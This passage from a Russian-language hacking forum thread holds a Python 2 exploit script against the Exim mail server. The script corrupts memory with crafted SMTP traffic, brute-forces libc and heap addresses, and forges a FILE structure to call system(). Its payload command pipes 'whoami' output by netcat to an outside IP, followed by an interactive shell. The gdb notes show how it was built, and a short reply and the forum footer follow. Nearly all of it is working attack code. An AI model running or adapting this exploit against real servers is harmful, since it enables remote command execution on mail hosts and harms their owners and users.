    # 0x00007fb02f6d8b10 -> 0x00007fb02f6dab2f  inuse:  8224
    # 0x00007fb02f6dab30 -> 0x00007fb02f6dcb4f  inuse:  8224



    # Now need go to border of smtp_out/lookup_list
    #
    rset_cmd(tel)


    if what == 'lib':
    # gdb-peda$ p smtp_out
    # $83 = (FILE *) 0x7fb02f6c45e0
    #
    # gdb-peda$ p/x 0x7fb02f6c45e0 - 0x00007fb02f6c4020
    # $84 = 0x5e0
    #
    # from  0x00007fb02f6c4000  to 0x7fb02f6c45e0 lie time_val stucture
    # we must rewrite its nulls
    #
    #
    # Simple one-byte bruteforce at (FILE *)smtp_out->_IO_read_end
    # We write byte and do socket.shutdown(WRITE). This should answer to us
    # "421 Lost incoming connection" if address in _IO_read_end is good
        mail_cmd(mailfrom, tel)
        rcpt_cmd(rcpt, tel)

        cnt = 0
        if count_main == 1:
            cnt = (yield_len_main) / step_main + 2


        while cnt != 0:
            rcpt = get_random_name(3) + '@' + target_domain
            rcpt_cmd(rcpt, tel)
            cnt -= 1

        null_way = - (0x2000 - yield_len_main) + 0x5e0 - 8 * 10 + 8 * 2


        tel.write('DATA\n')
        tel.read_until('by itself')


        for z in range(0, null_way):
            tel.write('\x00')

        return tel



    elif what == 'heap':
    # When we type data exim calls twice function search_tidyup()
    # at begin and at end (or when we close writeble sock) input message
    # It check global variable lookup_list:
    #
    # lookup_info **lookup_list;
    #
    # In the end typing we rewrite first variable and shutdown socket
    # if we see error message then SIGSEGV was not. So memory mapped.
    # If memory mapped - check another places where search_tidyup() on 
    # heap doesnt crash
    #
    # NOTE:
    # We can avoid bruteforce heap address if you can imagine
    # how to exploit _IO_jump_t *vtable (fwrite + 0x34) with
    # hardcoded params, execv is bad, because second param
    # is (char *), but execv need (char **). So pointer to do_system
    # i cannot find. Execl* althgouth didnt find.
    #
    # For more information see links:
    # http://www.outflux.net/blog/archives/2011/12/22/abusing-the-file-structure/
    # http://www.clevcode.org/plaidctf-2011-21-key-leak-450-pts/
    #
    # When we get heap address we can write ptr to do_system and use for execute
    # our command through FILE structure
    #
    # NOTE: OLD
    # gdb-peda$ p lookup_list
    # $642 = (lookup_info **) 0x7fb02f6bd570
    # 
    # gdb-peda$ p/x 0x7fb02f6bd570 - 0x00007fb02f6bd4f0
    # $643 = 0x80
    # NOTE: NEW, see backward
    # different = 0x1760
        


        mail_cmd(mailfrom, tel)
        rcpt_cmd(rcpt, tel)

        cnt = 0
        if count_main == 1:
            cnt = (yield_len_main + 0x1760) / step_main - 1

        while cnt != 0:
            rcpt = get_random_name(3) + '@' + target_domain
            rcpt_cmd(rcpt, tel)
            cnt -= 1


        null_way = -(0x2000 - yield_len_main ) + 0x1760 - 8 * 10
        
        tel.write('DATA\n')
        tel.read_until('by itself')

        for z in range(0, null_way):
            tel.write('\x00')
     

    return tel
    

memleak = '\x00'



def CHECK_ADDR(try_off):

    tel = PREPARE_HEAP_LEAK('heap')

    check = pack('<Q', try_off)

    for k in range(0, len(check)):
        tel.write(check[k])

    tel.sock.shutdown(socket.SHUT_WR)
    mess = tel.sock.recv(1024)

    if mess != '':
        return True
    else:
        return False



for j in range(0,4):
    for i in range(0,256):
        if ((j == 0) and (i % 16 != 0)):
            continue
        byte = pack('B', i)

        mess = ''
        # print "TRY[" + str(j) + "] BYTE => " + hex(i)

        tel = PREPARE_HEAP_LEAK('lib')

        for k in range(0, len(memleak)):
            tel.write(memleak[k])

        tel.write(byte)
   
        tel.sock.shutdown(socket.SHUT_WR)
        mess = tel.sock.recv(1024)
        if mess != '':
            print "Find sym[" + str(j) + "] => " + hex(i)
            memleak += byte
            break

memleak += '\x7f\x00\x00'

print hex(unpack('<Q', memleak)[0])
heap_base = 0

libend = unpack('<Q', memleak)[0] + 0x4000

for j in range(0, 65535, 1):
    try_off = libend + (j * 0x1000)
    print "TRY => " + hex(try_off)

    if CHECK_ADDR(try_off + 0x100) == True:
        if CHECK_ADDR(try_off + 0x1000) == True:
            if CHECK_ADDR(try_off + 0x13100) == True:
                if CHECK_ADDR(try_off + 0x2100) == False:
                    if CHECK_ADDR(try_off + 0x10100) == False:
                        if CHECK_ADDR(try_off + 0x9100) == False:
                            print "Found heap! => " + hex(try_off)
                            heap_base = try_off
                            print "Connents to server => " + str(counter)
                            break


buff                = unpack('<Q', memleak)[0]
#buff                = 0x00007f4165706000
#heap_base           = 0x00007f4166dcf000
print 'Buff = 0x%016x\nHeap = 0x%016x' % (buff, heap_base)

libc_offset         = 0x15ff000
stderr              = buff - libc_offset + 0x1180


do_system_off       = 0x43df0
system_off          = 0x44320
execl_off           = 0xbe6e0

do_system           = buff - 0x19b5000 + 0x43df0

smtp_out            = 0x135e0 + heap_base
sizeof_FILE         = 0xd8

fw_vtable_offset    = 0x38

fileno              = 0x9

lock                = heap_base + 0x13630

pad2                = heap_base + 0x136d0

CMD                 = 'whoami|nc 192.168.0.62 4445'
NULL                = 0x0000000000000000
FFFF                = 0xefefefefefefefef

if len(CMD) >= 96:
    print('BAD CMD!')
    sys.exit(0)

(tel, null_way) = PREPARE_CMD_EXEC()

FILE_STRUCT         = CMD + '\x00' * (96 - len(CMD))    # _flags and _IO_read_ptr
#FILE_STRUCT         += pack('<Q', NULL)                 # _IO_read_end
#FILE_STRUCT         += pack('<Q', NULL)                 # _IO_read_base
#FILE_STRUCT         += pack('<Q', NULL)                 # _IO_write_base
#FILE_STRUCT         += pack('<Q', NULL)                 # _IO_write_ptr
#FILE_STRUCT         += pack('<Q', NULL)                 # _IO_write_end
#FILE_STRUCT         += pack('<Q', NULL)                 # _IO_buf_base
#FILE_STRUCT         += pack('<Q', NULL)                 # _IO_buf_end
#FILE_STRUCT         += pack('<Q', NULL)                 # _IO_save_base
#FILE_STRUCT         += pack('<Q', NULL)                 # _IO_backup_base
#FILE_STRUCT         += pack('<Q', NULL)                 # _IO_save_end
FILE_STRUCT         += pack('<Q', NULL)                 # _markers
FILE_STRUCT         += pack('<Q', stderr)               # _chain
FILE_STRUCT         += pack('<I', fileno)               # _fileno
FILE_STRUCT         += pack('<I', 0x00000000)           # _flags2
FILE_STRUCT         += pack('<Q', NULL)                 # _old_offset
FILE_STRUCT         += '\x00\x00'                       # _cur_column
FILE_STRUCT         += '\x00'                           # _vtable_offset
FILE_STRUCT         += '\xcc\xcc\xcc\xcc\xcc'           # _shortbuf ( i thotgh it 3 bytes =|)
FILE_STRUCT         += pack('<Q', lock)                 # _lock
FILE_STRUCT         += pack('<Q', FFFF)                 # _offset
FILE_STRUCT         += pack('<Q', NULL)                 # __pad1
FILE_STRUCT         += pack('<Q', pad2)                 # __pad2
FILE_STRUCT         += pack('<Q', NULL)                 # __pad3
FILE_STRUCT         += pack('<Q', NULL)                 # __pad4
FILE_STRUCT         += pack('<Q', NULL)                 # __pad5
FILE_STRUCT         += pack('<I', 0xefefefef)           # _mode


FILE_STRUCT         += '\x00' * 0x14                      # _unused2
# _IO_JUMP_t
FILE_STRUCT         += pack('<Q', smtp_out + sizeof_FILE + 0x8)

FILE_STRUCT         += pack('<Q', do_system) * (0x70/8)
FILE_STRUCT         += pack('<Q', do_system)
FILE_STRUCT         += '\x00' * (576 - len(FILE_STRUCT))


# restore smtp_in
FILE_STRUCT         += pack('<Q', 0x000000000fbad2488)
FILE_STRUCT         += '\x00' * 88
FILE_STRUCT         += pack('<Q', NULL)
FILE_STRUCT         += pack('<Q', smtp_out)
FILE_STRUCT         += pack('<I', 0x0a)
FILE_STRUCT         += pack('<I', 0x00000000)
FILE_STRUCT         += pack('<Q', NULL)
FILE_STRUCT         += '\x00\x00'
FILE_STRUCT         += '\x00'
FILE_STRUCT         += '\xcc\xcc\xcc\xcc\xcc'
FILE_STRUCT         += pack('<Q', heap_base +0x13870 )
FILE_STRUCT         += pack('<Q', FFFF)
FILE_STRUCT         += pack('<Q', NULL)
FILE_STRUCT         += pack('<Q', heap_base + 0x13910)
FILE_STRUCT         += pack('<Q', NULL)
FILE_STRUCT         += pack('<Q', NULL)
FILE_STRUCT         += pack('<Q', NULL)
FILE_STRUCT         += pack('<I', 0xefefefef)


FILE_STRUCT         += '\x00' * 0x14
FILE_STRUCT         += pack('<Q', NULL) * 30
FILE_STRUCT         += '\n.\n'


'''
__GDB-PEDA__$ p *smtp_in
$20 = {
    _flags = 0xfbad2488, 
    _IO_read_ptr = 0x7f4165705000 "", 
    _IO_read_end = 0x7f4165705000 "", 
    _IO_read_base = 0x7f4165705000 "", 
    _IO_write_base = 0x7f4165705000 "", 
    _IO_write_ptr = 0x7f4165705000 "", 
    _IO_write_end = 0x7f4165705000 "", 
    _IO_buf_base = 0x7f4165705000 "", 
    _IO_buf_end = 0x7f4165706000 "354 Enter message, ending with \".\" on a line by itself\r\n", '0' <repeats 144 times>..., 
    _IO_save_base = 0x0, 
    _IO_backup_base = 0x0, 
    _IO_save_end = 0x0,
    _markers = 0x0, 
    _chain = 0x7f4166de25e0, 
    _fileno = 0xa, 
    _flags2 = 0x0, 
    _old_offset = 0x0, 
    _cur_column = 0x0, 
    _vtable_offset = 0x0, 
    _shortbuf = "", 
    _lock = 0x7f4166de2900, 
    _offset = 0xffffffffffffffff, 
    __pad1 = 0x0, 
    __pad2 = 0x7f4166de2910, 
    __pad3 = 0x0, 
    __pad4 = 0x0, 
    __pad5 = 0x0, 
    _mode = 0x0, 
    _unused2 = '\000' <repeats 19 times>
}
'''
print 'do_system = 0x%016x' % do_system

# IT is WOOORK
#for z in range(0, null_way/2 + 0x1b0 + 256):
#    tel.write('\x00')
#
#for z in range(0, null_way/2 - 0x1b0):
#    tel.write(FILE_STRUCT[z])

raw_input('write')
for z in range(0, null_way):
    tel.write('\x00')

for z in range(0, len(FILE_STRUCT)):
    tel.write(FILE_STRUCT[z])

tel.interact()

sys.exit(0)



''' Need write the best heap bruteforcer


first = try_off
print 'Search backward 32 times'

for j in range(0, 32):
    try_off = first - (j * 0x1000)
#    if CHECK_ADDR(try_off + 0x100) == True:

print 'Hmmm, not heap =\\'
libend = first
for j in range(0, 65535, 4):
    try_off = libend + (j * 0x1000)
    print "TRY => " + hex(try_off)

    if CHECK_ADDR(try_off + 0x100) == True:
        print "Found HEAP! Search base!"
        break

first = try_off
for j in range(0, 32):
    try_off = first - (j * 0x1000)
    if CHECK_ADDR(try_off + 0x100) == True:
        if CHECK_ADDR(try_off + 0x1000) == True:
            if CHECK_ADDR(try_off + 0x13100) == True:
                if CHECK_ADDR(try_off + 0x2100) == False:
                    if CHECK_ADDR(try_off + 0x10100) == False:
                        if CHECK_ADDR(try_off + 0x9100) == False:
                            print "Found heap! => " + hex(try_off)
                            print "Connents to server => " + str(counter)
                            sys.exit(1)
'''

#    s = CREATE_SOCK(addr)
#    t = telnetlib.Telnet()
#    t.sock = s
#    PREPARE_HEAP_LEAK(t, 'heap')

#    for k in range(0, len(check)):
#        t.write(check[k])

#    s.shutdown(socket.SHUT_WR)
#    mess = s.recv(1024)
#    if mess != '':
#        print mess + " => HEAP? => " + hex(try_off - 0x100)
#    else:
#        break
slashd вне форума   Ответить с цитированием
Старый 08.08.2019, 12:38   #2
Beched
 
Регистрация: 06.07.2010
Сообщений: 403
Репутация: 118
По умолчанию

Спущено из lvl1
Beched вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot